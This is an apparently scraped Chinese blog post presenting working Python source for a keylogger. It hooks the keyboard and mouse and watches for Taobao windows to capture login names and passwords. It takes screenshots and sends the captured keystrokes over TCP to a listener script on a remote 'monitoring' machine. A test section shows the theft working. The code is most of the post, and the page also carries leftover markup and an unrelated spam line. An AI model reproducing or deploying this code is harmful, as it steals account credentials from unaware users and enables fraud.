<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                在前面兩篇文章中實現了將用戶輸入信息抓取到后,寫入文件,把用戶操作的截圖也保存了下來,但些文件是在用戶的機器上的,獲取到并不容易,本次再次優化了下,將用戶輸入發送到監控者的電腦上,圖片傳送回來目前還沒有實現,后續在分析。 ### 一、代碼: 服務端(hook_server.py): ~~~ #!/usr/bin/env python # -*- coding: utf-8 -*- import socket def hook_tcp_server(): ''' Function:接收遠程機器上發送過來的信息并輸入出到終端 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' host = '192.168.1.101' port = 34586 buf_size = 1024 addr =(host, port) tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_server_socket.bind(addr) tcp_server_socket.listen(5) print 'waiting for connectiong...' while True: tcp_client_socket, addr = tcp_server_socket.accept() # print 'connected from :', addr while True: msg = tcp_client_socket.recv(buf_size) print msg if not msg: break tcp_client_socket.close() tcp_server_socket.close() if __name__ == '__main__': hook_tcp_server() ~~~ 2. 客戶端(hook_client.py): ~~~ #!/usr/bin/env python # -*- coding: utf-8 -*- import pythoncom import pyHook import time from PIL import ImageGrab import socket def send_msg_to_remote(msg): ''' Function:向遠程服務器發送信息 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' host = '192.168.1.101' port = 34586 buf_size = 1024 addr =(host, port) if len(msg) != 0: tcp_client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: tcp_client_sock.connect(addr) except IOError, e: print ('Error:%s' % e.args[0]) tcp_client_sock.close() data = time.strftime('[%Y-%m-%d %H:%M:%S]',time.localtime(time.time())) tip_info = data + 'from ' + socket.gethostname() + ':' tcp_client_sock.sendall(tip_info + msg) tcp_client_sock.close() def onMouseEvent(event): ''' Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息, 將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼 框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣, 所以此處要判斷是否通過鼠標切換了輸入窗口 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if len(MSG) != 0: send_msg_to_remote(MSG) MSG = '' #屏幕抓圖實現 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() pic.save('%s.png' % pic_name) #保存成為以日期命名的圖片 return True def onKeyboardEvent(event): "處理鍵盤事件" ''' Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入 因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見 的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來 結束輸入,此時要將信息發送給遠程服務器。 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if event.WindowName.decode('GBK').find(u"淘寶") != -1: if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): send_msg_to_remote(MSG) MSG = '' #屏幕抓圖實現 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成為以日期命名的圖片 pic.save('%s.png' % pic_name) return True if __name__ == "__main__": ''' Function:獲取TAOBAO賬號及密碼,增加抓圖功能 Input:NONE Output: NONE author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' MSG = '' #創建hook句柄 hm = pyHook.HookManager() #監控鼠標 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環獲取消息 pythoncom.PumpMessages() ~~~ ### 二、測試: 1、環境信息: ? ? ? ? ?服務端腳本hook_server.py運行于Unbutu上(IP:192.168.1.101,監聽端口:34586) ? ? ? ? ?客戶端腳本hook_client.py運行于Windows xp上(主機名:winxp-duanyx) 2、實測: ? 用戶界面輸入: ![](https://box.kancloud.cn/2016-06-08_575793584ea9b.gif) 服務器上獲取到的數據: ![](https://box.kancloud.cn/2016-06-08_5757935872e22.gif)
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看